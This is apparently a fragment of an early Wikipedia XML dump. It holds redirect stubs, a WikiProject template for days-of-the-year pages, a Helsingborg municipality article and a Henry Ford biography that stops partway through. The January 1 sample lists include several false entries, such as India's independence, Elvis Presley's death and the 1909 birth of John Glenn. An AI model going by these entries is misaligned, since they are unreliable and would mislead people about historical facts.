[[uk:&amp;#1057;&amp;#1087;&amp;#1080;&amp;#1089;&amp;#1086;&amp;#1082; &amp;#1074;&amp;#1089;&amp;#1110;&amp;#1093; &amp;#1076;&amp;#1085;&amp;#1110;&amp;#1074;]]
[[ur:&amp;#1570;&amp;#1580; &amp;#1705;&amp;#1575; &amp;#1583;&amp;#1606;]]
[[wa:366 djoûs]]
[[zh:&amp;#21382;&amp;#21490;&amp;#19978;&amp;#30340;&amp;#20170;&amp;#22825;]]</text>
    </revision>
  </page>
  <page>
    <title>Historical anniversaries/November 11</title>
    <id>13342</id>
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      <id>15910957</id>
      <timestamp>2002-10-10T22:25:43Z</timestamp>
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  <page>
    <title>Historical anniversaries/January 1</title>
    <id>13343</id>
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      <timestamp>2002-10-10T22:21:52Z</timestamp>
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  <page>
    <title>Historical anniversaries/January 26</title>
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      <timestamp>2002-10-10T22:28:15Z</timestamp>
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    <title>Historical anniversaries/August 27</title>
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      <id>15910960</id>
      <timestamp>2002-10-10T22:28:58Z</timestamp>
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    <title>Historical anniversaries/April 15</title>
    <id>13346</id>
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      <id>15910961</id>
      <timestamp>2002-10-10T22:22:14Z</timestamp>
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    <title>Historical anniversaries/April 6</title>
    <id>13347</id>
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      <id>15910962</id>
      <timestamp>2002-10-10T22:31:55Z</timestamp>
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    <title>Historical anniversaries/September 1</title>
    <id>13348</id>
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      <id>15910963</id>
      <timestamp>2002-10-10T22:32:08Z</timestamp>
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    <title>Historical anniversaries/May 25</title>
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      <id>15910964</id>
      <timestamp>2002-10-10T22:32:30Z</timestamp>
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    <title>Historical anniversaries/January 28</title>
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      <id>15910965</id>
      <timestamp>2002-10-10T22:32:45Z</timestamp>
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        <username>Ap</username>
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    <title>Historical anniversaries/September 28</title>
    <id>13351</id>
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      <id>15910966</id>
      <timestamp>2002-10-10T22:33:05Z</timestamp>
      <contributor>
        <username>Ap</username>
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    <title>Historical anniversaries/March 28</title>
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      <timestamp>2002-10-10T22:33:22Z</timestamp>
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    <title>Historical anniversaries/September 21</title>
    <id>13353</id>
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      <id>15910968</id>
      <timestamp>2002-10-10T22:34:11Z</timestamp>
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    <title>Historical anniversaries/May 29</title>
    <id>13354</id>
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      <id>15910969</id>
      <timestamp>2002-10-10T22:30:25Z</timestamp>
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    <title>Historical anniversaries/July 20</title>
    <id>13355</id>
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      <id>15910970</id>
      <timestamp>2002-10-10T22:34:27Z</timestamp>
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    <title>Historical anniversaries/January 3</title>
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      <id>15910971</id>
      <timestamp>2002-10-10T22:34:41Z</timestamp>
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    <title>Historical anniversaries/September 2</title>
    <id>13357</id>
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      <id>15910972</id>
      <timestamp>2002-10-10T22:30:09Z</timestamp>
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    <title>Historical anniversaries/January 2</title>
    <id>13359</id>
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      <id>15910974</id>
      <timestamp>2002-10-10T22:35:19Z</timestamp>
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    <title>Historical anniversaries/March 1</title>
    <id>13361</id>
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      <id>15910976</id>
      <timestamp>2002-10-10T22:29:50Z</timestamp>
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    <title>Historical anniversaries/February 2</title>
    <id>13362</id>
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      <id>15910977</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
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        <id>445</id>
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      <comment>*</comment>
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    <title>Historical anniversaries/January 31</title>
    <id>13363</id>
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      <id>15910978</id>
      <timestamp>2002-10-10T22:29:34Z</timestamp>
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    <title>Historical anniversaries/December 31</title>
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  </page>
  <page>
    <title>Wikipedia:WikiProject Days of the year</title>
    <id>13365</id>
    <revision>
      <id>33170691</id>
      <timestamp>2005-12-29T21:59:12Z</timestamp>
      <contributor>
        <username>Mathwiz2020</username>
        <id>196723</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB Assisted]] clean up</comment>
      <text xml:space="preserve">This is a [[Wikipedia:WikiProject|WikiProject]] page relating to '''days of the year'''. It is meant to be a style guide for date pages (for example, [[January 1]], [[January 2]], [[January 3]], ''etc.''). It would be nice if all 366 historical anniversary pages were consistent in style.

'''''Warning:''' This is a '''template page'''. If you want to add something to &quot;January 1&quot;, please don't edit this page but go to [[January 1]].''

----

'''January 1''' is the [[1 (number)|first]] day of the year in the [[Gregorian Calendar]]. It is preceded by [[December 31]] (in the previous year), and succeeded by [[January 2]]. Following January 1, there are 364 days in the year (365 in [[leap year]]s).

{{JanuaryCalendar}}
==Events==
*[[45 BC]] - [[Julian calendar]] goes into effect
*[[404]] - Last [[gladiator]] competition in [[Rome]]
*[[1438]] - [[Albert II of Habsburg]] becomes King of [[Hungary]]
*[[1502]] - [[Rio de Janeiro]] discovered
*[[1622]] - In the [[Gregorian calendar]], January 1 is declared as the first day of the year, instead of for example [[March 25]] in [[England]]
*[[1651]] - [[Charles II of England|Charles II]] crowned King of [[Scotland]]
*[[1700]] - [[Russia]] accepts [[Julian calendar]]
*[[1707]] - [[John V of Portugal|John V]] becomes King of [[Portugal]]
*[[1788]] - First edition of ''[[The Times]]'', previously ''The Daily Universal Register'', was published.
*[[1801]] - Legislative union of [[Great Britain]] and [[Ireland]] completed to form [[United Kingdom]]
*1801 - Discovery of [[1 Ceres]], first known [[asteroid]]
*[[1804]] - End of [[France|French]] rule in [[Haiti]].
*[[1808]] - Importation of [[Slavery|slave]]s into the [[United States]] is banned
*[[1863]] - [[Abraham Lincoln]] delivers the [[Emancipation Proclamation]] during the second year of the [[American Civil War]].
*1863 - The first claim under the [[Homestead Act]] is made for a farm in [[Nebraska]]
*[[1874]] - [[New York City]] annexes The [[Bronx]]
*[[1880]] - Construction of the [[Panama Canal]] begins
*[[1887]] -  [[Victoria of the United Kingdom|Queen Victoria]] is proclaimed [[Empress]] of [[India]] at the first Imperial Assemblage (''Durbar'') in [[Delhi]].
*[[1892]] - [[Ellis Island]] opens to begin accepting immigrants to the [[United States]]
*[[1893]] - [[Japan]] accepts the [[Gregorian calendar]]
*[[1897]] - [[Brooklyn, New York]] merges with [[New York City]]
*[[1899]] - End of [[Spain|Spanish]] rule in [[Cuba]].
*  1899   - [[Queens]] and [[Staten Island, New York|Staten Island]] merge with [[New York City]]
*[[1901]] - [[Nigeria]] becomes a [[United Kingdom|British]] protectorate
*  1901   - Establishment of the Commonwealth of [[Australia]] (Federation).
*[[1902]] - The first [[Rose Bowl (game)|Rose Bowl]] game is played in [[Pasadena, California]]
*[[1908]] - A ball signifying [[New Year's Day]] drops in [[New York City]]'s [[Times Square]] for the first time
*[[1911]] - [[Northern Territory]] is separated from [[South Australia]]
*[[1912]] - Establishment of [[Republic of China]]
*[[1919]] - [[Edsel Ford]] succeeds his father as head of the [[Ford Motor Company]]
*[[1934]] - [[Alcatraz]] becomes a federal prison
*[[1937]] - [[Anastasio Somoza]] becomes [[President of Nicaragua]]
*1937 - The first [[Cotton Bowl (game)|Cotton Bowl]] game is played in [[Dallas, Texas]]
*[[1942]] - [[World War II]]: The word &quot;[[United Nations]]&quot; is first officially used to describe the Allied pact.
*[[1947]] - [[India]] becomes independent.
*[[1956]] - End of [[United Kingdom|Anglo]]-[[Egypt]]ian Condominium in [[Sudan]].
*[[1959]] - [[Cuba]]: [[Fulgencio Batista]] overthrown by [[Fidel Castro]].
*[[1960]] - [[Nigeria]] becomes independent
*[[1960]] - [[Cameroon]] becomes independent
*[[1962]] - [[Samoa|Western Samoa]] becomes independent from [[New Zealand]]
*[[1964]] - Federation of [[Rhodesia]] and [[Nyasaland]] dissolved
*[[1970]] - [[Unix epoch]] begins at 00:00:00 UTC.
*[[1971]] - [[Cigarette]] [[advertisement]]s banned on [[United States]] [[television]]
*[[1979]] - [[United States]] and [[China]] begin [[diplomacy|diplomatic relations]]
*[[1981]] - [[Palau]] becomes self-governing
*  1981   - [[Greece]] enters the [[European Community]] 
*[[1983]] - The [[ARPANET]] officially changes to use the [[Internet Protocol]], creating the [[Internet]]
*[[1984]] - [[Brunei]] becomes a fully independent state.
*  1984   - [[AT&amp;T]] is broken up into 22 independent units
*  1984   - [[Spain]] and [[Portugal]] enter the [[European Community]]
*[[1986]] - [[Aruba]] becomes independent of [[Curacao]]
*[[1992]] - [[George H. W. Bush]] is first [[President of the United States]] to address the [[Australian Parliament]] 
*[[1993]] - [[Czechoslovakia]] divides.  Establishment of [[Slovakia|Slovak]] Republic and [[Czech Republic]]
*[[1994]] - [[North American Free Trade Agreement]] (NAFTA) goes into effect
*[[1995]] - [[World Trade Organization]] goes into effect
*  1995   - [[Austria]], [[Finland]] and [[Sweden]] enter the [[European Union]]
*[[1996]] - [[Curacao]] gains limited self-government
*[[1998]] - Smoking is banned in all [[California]] bars and restaurants
*[[1999]] - [[Euro]] currency introduced.
*[[2002]] - [[Euro]] banknotes and coins become legal tender.
*[[2003]] - [[Luís Inácio Lula da Silva]] becomes president of [[Brazil]]

==Births==
*[[1431]] - [[Pope Alexander VI]], (d. [[1503]])
*[[1449]] - [[Lorenzo de Medici]], statesman, (d. [[1492]])
*[[1484]] - [[Huldrych Zwingli]], protestant leader, (d. [[1531]])
*[[1618]] - [[Bartolome Esteban Murillo|Bartolomé Esteban Murillo]], painter, (d. [[1682]])
*[[1735]] - [[Paul Revere]], silversmith, United States patriot, (d. [[1818]])
*[[1750]] - [[Frederick Muhlenberg]], first speaker of the [[United States House of Representatives]], (d. [[1801]])
*[[1752]] - [[Betsy Ross]], seamstress, (d. [[1836]])
*[[1805]] - [[Joseph Smith, Jr]], Mormon founder (d. [[1844]])
*[[1839]] - [[Ouida]], writer, (d. [[1908]])
*[[1857]] - [[Wojciech Kossak]], painter
*[[1860]] - [[George Washington Carver]], educator, inventor, botanist, (d. [[1943]])
*[[1863]] - [[Pierre de Coubertin]], historian and pedagogue, initiator of modern [[Olympic Games]], (d. [[1937]])
*[[1876]] - [[Harriet Brooks]], physicist, (d. [[1933]])
*[[1879]] - [[E. M. Forster]], novelist, (d. [[1970]])
*[[1887]] - [[Wilhelm Canaris]], admiral, (d. [[1945]])
*[[1890]] - [[Anton Melik]], [[Slovenes|Slovene]] geographer, (d. [[1966]])
*[[1894]] - [[Satyendra Nath Bose]], mathematician, (d. [[1974]])
*[[1895]] - [[J. Edgar Hoover]], [[FBI]] director, (d. [[1972]])
*[[1900]] - [[Xavier Cugat]], musician, bandleader, (d. [[1990]])
*[[1909]] - [[Barry Goldwater|Barry M. Goldwater]], [[Arizona]] [[United States Senate|Senator]], (d. [[1998]])
*  1909   - [[John Glenn]], astronaut, soldier, [[United States Senate|Senator]] from [[Ohio]]
*  1909   - [[Dana Andrews]], actor, (d. [[1992]])
*[[1911]] - [[Hank Greenberg]], [[baseball]] player, (d. [[1986]])
*[[1912]] - [[Kim Philby]], spy (d. [[1988]])
*[[1917]] - [[Jule Gregory Charney]], meteorologist, (d. [[1981]])
*[[1919]] - [[J. D. Salinger]], novelist
*[[1922]] - [[Rocky Graziano]], [[boxing|boxer]], born &quot;Rocky Barbella&quot;, (d. [[1990]])
*[[1925]] - [[Stymie Beard]], actor, (d. [[1981]])
*  1925   - [[Idi Amin]], dictator of [[Uganda]]
*[[1927]] - [[Doak Walker]], [[American football]] star
*[[1928]] - [[Ernest Tidyman]], writer, (d. [[1984]])
*[[1933]] - [[Joe Orton]], writer, (d. [[1967]])
*[[1940]] - [[Frank Langella]], actor
*  1940   - [[Helmut Jahn]], architect
*[[1942]] - [[Country Joe McDonald]], musician, ([[Country Joe and the Fish]])
*[[1943]] - [[Don Novello]], actor, comedian, writer (&quot;[[Father Guido Sarducci]]&quot;)
*[[1945]] - [[Jacky Ickx]], [[automobile]] racer
*[[1950]] - [[Rajnikanth]], Actor,south India,Tamil
*[[1958]] - [[Grand Master Flash]], singer
*[[1970]] - [[Paul Thomas Anderson]], film director, writer, producer
*[[1974]] - [[Sachin Ramesh Tendulkar]], Cricket Player, India
*[[1979]] - [[Koichi Domoto]], artist

==Deaths==
*[[898]] - [[Odo, Count of Paris]]
*[[1817]] - [[Martin Heinrich Klaproth]], chemist, (b. [[1743]])
*[[1894]] - [[Heinrich Hertz]], physicist, (b. [[1857]])
*[[1953]] - [[Hank Williams]], [[country music]] singer
*[[1972]] - [[Maurice Chevalier]], actor and singer
*[[1977]] - [[Elvis Aron Presley]], singer and acter (b. [[1935]])
*[[1986]] - [[Alfredo Binda]], Italian cyclist
*[[1992]] - [[Grace Hopper]], [[computer]] pioneer
*[[1994]] - [[Cesar Romero]], actor
*[[1997]] - [[Townes Van Zandt]], musician
*[[2001]] - [[Ray Walston]], actor

==Holidays and observances==
* Many countries around the world using [[Gregorian Calendar]] - [[New Year's Day]]; often celebrated at 0:00 with [[fireworks]].
*[[Vienna New Year's Concert]]
*[[United States]] - [[Copyright Expiration Day]], celebrating the expiration of the copyright of a year's worth of works of authorship into the [[public domain]]. Not celebrated from [[1978]] to [[2018]] because of [[Sonny Bono Copyright Term Extension Act|repeated copyright term extensions]].
*[[Catholic]]ism - Octave of [[Christmas]], [[Blessed Virgin Mary]], Mother of God.
*[[Catholic]]ism - [[National Migration Week]] begins (varying official support by the office of U.S. President, not strictly religious)
*[[Haiti]] Independence Day
*[[Taiwan]] Founding of [[Republic of China]]. 
*[[Sudan]] Independence Day
*[[Cuba]] Liberation Day
*[[Slovakia]]: Establishment of Slovak Republic.
*[[Switzerland]]: The new [[President of the Confederation (Switzerland)|President of the Confederation]] takes office for one year.
*Last day of [[Kwanzaa]]
*[[Pasadena, California]] - The [[Tournament of Roses]] parade and, traditionally, the [[Rose Bowl (game)|Rose Bowl]]
*[[World Day for Prayer for Peace]]

------

==See also==
[[December 31]] - [[January 2]] - [[December 1]] - [[February 1]] -- [[List of historical anniversaries|listing of all days]]

{{months}}


[[Category:WikiProjects|Days of the Year]]

[[af:01-01]]
[[ca:1 de gener]]
[[da:1. Januar]]
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[[zh:1&amp;#26376;1&amp;#26085;]]</text>
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  </page>
  <page>
    <title>Historical anniversaries/November 27</title>
    <id>13366</id>
    <revision>
      <id>15910981</id>
      <timestamp>2002-10-10T22:29:20Z</timestamp>
      <contributor>
        <username>Ap</username>
        <id>122</id>
      </contributor>
      <minor />
      <text xml:space="preserve">#REDIRECT [[November 27]]</text>
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  </page>
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    <title>HyperReal numbers</title>
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      <id>15910983</id>
      <timestamp>2002-10-10T11:32:34Z</timestamp>
      <contributor>
        <username>Magnus Manske</username>
        <id>4</id>
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      <comment>#redirect [[Hyperreal number]]</comment>
      <text xml:space="preserve">#redirect [[Hyperreal number]]</text>
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  <page>
    <title>Huntingtons Chorea</title>
    <id>13369</id>
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      <id>15910984</id>
      <timestamp>2002-08-24T11:24:31Z</timestamp>
      <contributor>
        <username>Andre Engels</username>
        <id>300</id>
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      <text xml:space="preserve">#REDIRECT [[Huntington's disease]]</text>
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  </page>
  <page>
    <title>Helsingborg Municipality</title>
    <id>13370</id>
    <revision>
      <id>40364250</id>
      <timestamp>2006-02-20T01:57:05Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
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      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">{{Infobox_Kommun2|
name=Helsingborg|
fullname=Helsingborg Municipality|
isocode=&amp;nbsp;|
capital=Helsingborg|
governor=|
county=[[Skåne County]]| 
province=[[Skåne|Scania]]|
arearank=218th|
area=346|
areapercent=x.x|
population_as_of=2005|
populationrank=9th|
population=121,179|
populationpercent=x.x|
populationdensity=350|
coatofarms=[[Image:Helsingborg.png|60px|Coat of Arms]]|
map=[[Image:svcmap skane.png|100px]] &lt;br&gt; Helsingborg Municipality in southern Sweden &lt;br&gt; [[Image:Lägeskarta Helsingborgs stad.png|180px]]
}}

The '''municipality of Helsingborg''' {{IPA|['h&amp;#x025b;lsiŋ'b&amp;#x0254;rj]}} is a municipality in the county of [[Skåne]] (Scania) in southernmost [[Sweden]]. The city [[Helsingborg]] is the seat of the municipality and its largest loclity with a population of 87,000. 

==Towns in the municipality==
&lt;table border=0 width=&quot;60%&quot;&gt;&lt;tr valign=top&gt;&lt;td width=&quot;50%&quot;&gt;
*[[Allerum]]
*[[Bårslöv]]
*[[Domsten]]
*[[Fjärestad]]
*[[Fleninge]]
*[[Gantofta]]
*[[Grå läge]]
*[[Görarp]]
*[[Hasslarp]]
*[[Helsingborg]]
*[[Hittarp]]
*[[Hjortshög]]
*[[Hässlunda]]
&lt;/td&gt;&lt;td&gt;
*[[Kattarp]]
*[[Kvistofta]]
*[[Magnihill-Lydestad]]
*[[Mörarp]]
*[[Påarp]]
*[[Rydebäck]]
*[[Tånga och Rögle]]
*[[Utvälinge]]
*[[Vallåkra]]
*[[Väla by]]
*[[Välinge]]
*[[Ödåkra]]
*[[Östra Ramlösa]]
&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;


== See also ==
* [[Municipalities of Sweden]]
* [[European route E4]]

==External links==
*[http://www.helsingborg.se/ Helsingborg homepage]
*[http://hd.se/ The local daily newspaper]

{{Skåne County}}

[[Category:Municipalities of Sweden]]
[[Category:Municipalities of Skåne County]]
[[Category:West Skåne]]

[[Category:Skåne]]

[[sv:Helsingborgs stad]]</text>
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  </page>
  <page>
    <title>Henry Ford</title>
    <id>13371</id>
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      <id>42100233</id>
      <timestamp>2006-03-03T20:58:44Z</timestamp>
      <contributor>
        <username>Smeggysmeg</username>
        <id>515427</id>
      </contributor>
      <comment>rev vandalism</comment>
      <text xml:space="preserve">{{Otherpeople|Henry Ford}}
[[Image:Timehenryford.jpg|thumb|''[[TIME|Time]] Magazine'', [[January 14]], [[1935]]]]
'''Henry Ford''' ([[July 30]], [[1863]] &amp;ndash; [[April 7]], [[1947]]) was the founder of the [[Ford Motor Company]] and the [[Henry Ford Company]] (which later became [[Cadillac]]). He was one of the first to apply [[assembly line]] manufacturing to the mass production of affordable [[automobile]]s.  This achievement not only revolutionized industrial production in the United States and the rest of the world, but also had such tremendous influence over modern culture that many social theorists identify this phase of economic and social history as &quot;[[Fordism]].&quot;  Some credit him with contributing to the creation of a [[middle class]] in [[United States|American]] society.

==Early Life==
[[Image:Henry Ford 1888.jpg|thumb|150px|Henry Ford, 1888]]
Ford was born on a prosperous farm in Springwells Township (now in the city of [[Dearborn, Michigan]]) owned by his parents, William Ford (1826-1905) and Mary Litogot (c1839-1876), immigrants from [[County Cork]], [[Ireland]]. His siblings include: Margaret Ford (1867-1868); Jane Ford (c1868-1945); William Ford (1871-1917) and Robert Ford (1873-1934).

During the summer of 1873, Henry saw his first self-propelled road machine, a Nichols, Shepard &amp; Co., stationary steam engine that could be used for threshing or to power a saw mill.  The operator, Fred Reden, had mounted it on wheels connected with a drive chain.  Henry was fascinated with the machine and Reden over the next year taught Henry how to fire and operate the engine.  Ford later said, it was this experience &quot;that showed me that I was by instinct an engineer.&quot;{{ref|Ford1}} 

Henry took this passion about mechanics into his home.  His father had given him a pocket watch in his early teens.  By fifteen, he had a reputation as a watch repairman, having dismantled and reassembled timepieces of friends and neighbors dozens of times.{{ref|Ford2}}

His mother died in 1876.  It was a blow that devastated Henry.  His father expected Henry to eventually take over the family farm, but Henry despised farm work.  And with his mother dead, little remained to keep him on the farm.  He later said, &quot;I never had any particular love for the farm.  It was the mother on the farm I loved.&quot;{{Ref|Ford3}}

In 1879, he left home for the nearby city of [[Detroit, Michigan|Detroit]] to work as an apprentice machinist, first with James F. Flower &amp; Bros., and later with the Detroit Dry Dock Co.  In 1882, he returned to Dearborn to work on the family farm and became adept at operating the Westinghouse portable steam engine. This led to his being hired by [[Westinghouse Electric Corporation|Westinghouse]] company to service their steam engines. 

Upon his marriage to Clara Bryant in 1888, Ford supported himself by farming and running a sawmill. They had a single child: [[Edsel Bryant Ford]] (1893-1943).

[[Image:Henry Ford - Quadricycle, 1905.jpg|thumb|150px|Henry Ford in the Quadricycle, 1905]]
In 1891, Ford became an engineer with the [[Edison Illuminating Company]], and after his promotion to Chief Engineer in 1893, he had enough time and money to devote attention to his personal experiments on gasoline engines. These experiments culminated in 1896 with the completion of his own self-propelled vehicle named the [[Quadricycle]], which he test-drove on [[June 4]] of that year. After various test-drives, Henry Ford brainstormed ways to improve the Quadricycle.

==Detroit Automobile Company==
After this initial success, Ford came to  Edison Illuminating in 1899 and, with other investors, formed the [[Detroit Automobile Company]]. The Detroit Automobile Company went bankrupt soon afterward because Ford continued to improve the design, instead of selling cars. Ford raced his vehicles against those of other manufacturers to show the superiority of his designs. With his interest in race cars, he formed a second company, the [[Henry Ford Company]]. During this period, he personally drove his Quadricycle to victory in a race against [[Alexander Winton]], a well-known driver and the heavy favorite on October 10, 1901. Ford was forced out of the company by the investors, including [[Henry M. Leland]] in 1902, and the company was reorganized as [[Cadillac (automobile)|Cadillac]].

== Ford Motor Company ==
Henry Ford, with eleven other investors and $28,000 in capital, incorporated the [[Ford Motor Company]] in 1903. In a newly-designed car, Ford drove an exhibition in which the car covered the distance of a mile on the ice of Lake St. Clair in 39.4 seconds, which was a new [[land speed record]]. Convinced by this success, the famous race driver [[Barney Oldfield]], who named this new Ford model &quot;999&quot; in honor of a racing locomotive of the day, took the car around the country and thereby made the Ford brand known throughout the United States. Henry Ford was also one of the early backers of the [[Indianapolis 500]].  Henry Ford shocked his fellow capitalists by more than doubling the daily wage of most of his workers in 1914, eleven years after he established his first automobile factory. He knew what he was doing.  The buying power of his workers was increased, and their raised consumption stimulated buying elsewhere. Ford called it 'wage motive.'

=== The Model T ===
[[Image:Model T Ford, 1913.jpg|thumb|250px|Model T Ford, 1913 (being used for fishing)]]
In 1908, the Ford company released the [[Ford Model T|Model T]] designed by the [[Hungary|Hungarian]], [[Jozsef Galamb]]. From 1909 to 1913, Ford entered stripped-down Model Ts in races, finishing first (although later disqualified) in an &quot;ocean-to-ocean&quot; (across the [[United States|USA]]) race in 1909, and setting a one-mile oval speed record at Detroit Fairgrounds in 1911 with driver Frank Kulick. In 1913, Ford attempted to enter a reworked Model T in the Indianapolis 500, but was told rules required the addition of another 1,000 pounds (450 kg) to the car before it could qualify. Ford dropped out of the race, and soon thereafter dropped out of racing permanently, citing dissatisfaction with the sport's rules and the demands on his time by the now-booming production of the Model Ts.

Racing was, by 1913, no longer necessary from a publicity standpoint because the Model T was already famous and ubiquitous on American roads. It was in this year that Henry Ford introduced the moving assembly belts into his plants, which enabled an enormous increase in production. Although Ford is often credited with the idea, contemporary sources indicate that the concept and its development came from employees Clarence Avery, [[Peter E. Martin]], [[Charles E. Sorensen]], and C.H. Wills.  (See [[Piquette Plant]])

[[Image:Ford assembly line - 1913.jpg|thumb|150px|Ford Assembly Line, 1913]]
By 1918, half of all cars in [[United States|America]] were Model Ts. The design, fervently promoted and defended by Henry Ford, would continue through 1927 (well after its popularity had faded), with a final total production of fifteen million vehicles. This was a record which would stand for the next 45 years. Ford is rumored to have said, &quot;Any customer can have a car painted any color that he wants so long as it is black,&quot; though the story is probably apocryphal.{{ref|Black}} Until the development of the assembly line which mandated black because of its quicker drying time, Model T's were available in other colors including red.

On [[January 1]], [[1919]], after unsuccessfully seeking a seat in the [[United States Senate]],{{ref|Senate}} Henry Ford turned the presidency of Ford Motor Company over to his son [[Edsel Ford|Edsel]], although still maintaining a firm hand in its management&amp;mdash; few company decisions under Edsel's presidency were made without approval by Henry, and those few that were, Henry often reversed. Also at this time, Henry and Edsel purchased all remaining stock from other investors, thus becoming sole owners of the company. (The company remained privately held by the family until 1956, when the family allowed a public offering of a portion of the company without ceding control.)

By the mid 1920's, sales of the Model T began to decline due to rising competition. Other auto makers offered payment plans through which consumers could buy their cars, which usually included more modern mechanical features and styling not available with the Model T. Despite urgings from Edsel, Henry steadfastly refused to incorporate new features into the Model T or to form a customer credit plan.

The Model T's key to success was the fact that it had been made in the assembly line, which allowed for many different cars to be made consecutively, identically and much faster than other hand made vehicles. The cars sales triggered the modern era of vehicles. For the first time everyone could own a car, the downside was that every Model T produced after 1913, (the year the assembly line was created) was painted black because the paint dried a lot faster than any other color. The Model T was a very simple car, as simple as it could be made. But that's what made it unique. Henry Ford's assembly line turned the Ford Motor Company into a giant (and eventually became a tool for every other industry). By 1928, there were about 30 million cars world wide. Half of these were Ford Model Ts.

=== The Model A and later ===
By 1926, flagging sales of the Model T convinced Henry of what Edsel had been suggesting for some time: a new model was necessary. The elder Ford pursued the project with a great deal of technical expertise in design of the engine, chassis, and other mechanical necessities, while leaving it to his son to develop the body design. Edsel also managed to prevail over his father's initial objections in the inclusion of a sliding-shift transmission. The result was the highly successful [[Ford Model A]], introduced December, 1927 and produced through 1931, with a total output of over four million automobiles. Subsequently, the company adopted an annual model change system similar to that in use by automakers today.

During the thirties, Ford also overcame his objection to finance companies, and the Ford-owned Universal Credit Company became a major car financing operation.

Henry Ford long had an interest in [[plastic]]s developed from agricultural products, especially [[soybean]]s. Soybean-based plastics were used in Ford automobiles throughout the 1930s in plastic parts such as car horns, in paint, etc. This project culminated in 1942, when, on [[January 13]], Ford patented an automobile made almost entirely of plastic, attached to a tubular welded frame. It weighed 30% less than a standard car of the same size, and was said to be able to withstand blows ten times greater than could steel. Furthermore, it ran on grain alcohol ([[ethanol]]) instead of gasoline.  Unfortunately, the design never caught on.

===Death of Edsel===
On [[May 26]], [[1943]], Edsel Ford died, leaving a vacancy in the company presidency. Henry Ford advocated long-time associate [[Harry Bennett]] to take the spot. Edsel's widow Eleanor, who had inherited Edsel's voting stock, wanted her son [[Henry Ford II]] to take over the position. The issue was settled for a period when Henry himself, at the age of 79, took over the presidency personally. Henry Ford II was released from the Navy and became an executive vice president, while Harry Bennett had a seat on the board and was responsible for personnel, labor relations, and public relations.

The company saw hard times during the next two years, losing $10 million a month. President [[Franklin D. Roosevelt]] considered a federal bailout for Ford Motor Company so that wartime production could continue. By 1945, Henry Ford's senility was quite evident, and his wife and daughter-in-law forced his resignation in favor of his grandson, Henry Ford II.

=== Ford's labor philosophy ===
Henry Ford had very specific thoughts on relations with his employees. On [[January 5]], [[1914]] Ford announced his five-dollar a day program. The program called for a reduction in length of the workday from 9 to 8 hours and a raise in minimum daily pay from $2.34 to $5 for qualifying workers. Ford labeled the increased compensation as profit sharing rather than wages. The wage was offered to men over the age of 22, who had worked at the company for 6 months or more, and, importantly, conducted their lives in a manner of which Ford approved. The company established a Sociological Department complete with 150 investigators and support staff in order to verify this last point. Even with these requirements, a large percentage of workers were able to qualify for the profit sharing. 

In 1926, Ford instituted the five-day, forty-hour work-week, effectively inventing the modern [[weekend]]. In granting workers an extra day off, Ford ensured leisure time for the working class. The &quot;short week,&quot; as Ford called it in a contemporary interview, was required so that the country could &quot;absorb its production and stay prosperous.&quot;

Conversely, Ford was adamantly against [[labor union]]s in his plants. To forestall union activity, he promoted [[Harry Bennett]], a former Navy boxer, to be the head of the Service Department. Bennett employed various intimidation tactics to squash union organizing.  The most famous incident, in 1937, was a bloody brawl between company security men and organizers that became known as [[The Battle of the Overpass]].  

Ford was the last Detroit automaker to recognize the [[United Auto Workers]] union (UAW). A sit-down strike by the UAW union on [[April 2]], [[1941]] closed the [[River Rouge Plant]]. Under pressure from Edsel and his wife, Clara, Henry Ford finally agreed to [[collective bargaining]] at Ford plants, and the first contract with the UAW was signed in June 1941.

==Common misconceptions==
Henry Ford is sometimes credited with the invention of the automobile, generally attributed to [[Karl Benz]], and the assembly line, invented by [[Ransom E. Olds]].  Ford's employees did develop the first moving assembly line based on conveyor belts. Popular culture lends support to such misconceptions.

== Anti-Semitism and ''The Dearborn Independent'' == 
[[Image:1920 International Jew reprint from Dearborn Independent.jpg|thumb|''The International Jew, the World's Foremost Problem''. Articles from ''The Dearborn Independent'', 1920]]

Henry Ford began publication of a newspaper, ''[[The Dearborn Independent]]'', in 1919. The paper ran for eight years, during which it republished &quot;[[The Protocols of the Elders of Zion|Protocols of the Learned Elders of Zion]],&quot; which has since been discredited as an [[Anti-Semitism|anti-Semitic]] [[forgery]]. The [[American Jewish Historical Society]] describes the ideas presented in it as &quot;[[anti-immigrant]], anti-labor, anti-liquor, and anti-Semitic&quot;.

On [[February 17]], [[1921]], the [[New York World]] published an interview with Ford, in which he said &quot;''The only statement I care to make about the Protocols is that they fit in with what is going on. They are sixteen years old, and they have fitted the world situation up to this time. They fit it now.''&quot;

The ''Independent'' also published, in Ford's name, several anti-Jewish articles which were released in the early 1920s as a set of four bound volumes, cumulatively titled &quot;The International Jew, the World's Foremost Problem.&quot;  These volumes were distributed through Ford's car dealerships.  Denounced by the [[Anti-Defamation League]] (ADL), the articles nevertheless explicitly condemned [[pogrom]]s and violence against Jews (Volume 4, Chapter 80), preferring to blame incidents of mass violence on the Jews themselves. None of this work was actually penned by Ford, though they required his tacit approval since he was the paper's publisher. &quot;The International Jew&quot; was one of only two books that [[Adolf Hitler]] read whilst in prison, and may have inspired his own book, [[Mein Kampf]].

[[Libel]] lawsuits in response to anti-Semitic remarks led Ford to close the ''Dearborn Independent'' in December 1927.  He later retracted the ''International Jew'' and the ''Protocols''. On [[January 7]], [[1942]], Henry Ford wrote a public letter to the ADL denouncing hatred against the Jews and expressing his hope that anti-Jewish hatred would cease for all time. Some claim that Ford neither wrote nor signed this letter and have questioned the sincerity of his apology. His writings continue to be used as propaganda by various groups, often appearing on [[anti-Semitic]] and [[neo-Nazi]] websites.

In researching his 2003 book, ''The American Axis'', investigative journalist Max Wallace discovered newly declassified documents in the US National Archives proving that Ford's principal secretary Ernst Liebold was identified by the American government as a German spy and later appears in FBI files as a known [[Nazism|Nazi]] agent. Drawing on this new material, Wallace identifies  Liebold  as the figure responsible for convincing Ford to launch his crusade against the Jews and later to support [[Hitler]] and the Nazi cause.

== Henry Ford and Nazism ==
[[Image:Ford.jpg|right|thumb|200px|Henry Ford, center, is awarded the Grand Cross of the German Eagle by Nazi diplomats.]]

Ford became interested in politics and, as a successful and powerful business leader, was sometimes a participant in world affairs. In 1915, he funded a trip to Europe, where World War I was raging, for himself and about 170 others. His group went to meet with German and other European leaders--without U.S. government support or approval--to seek peace. The war lasted another three years.{{ref|Odyssey}}

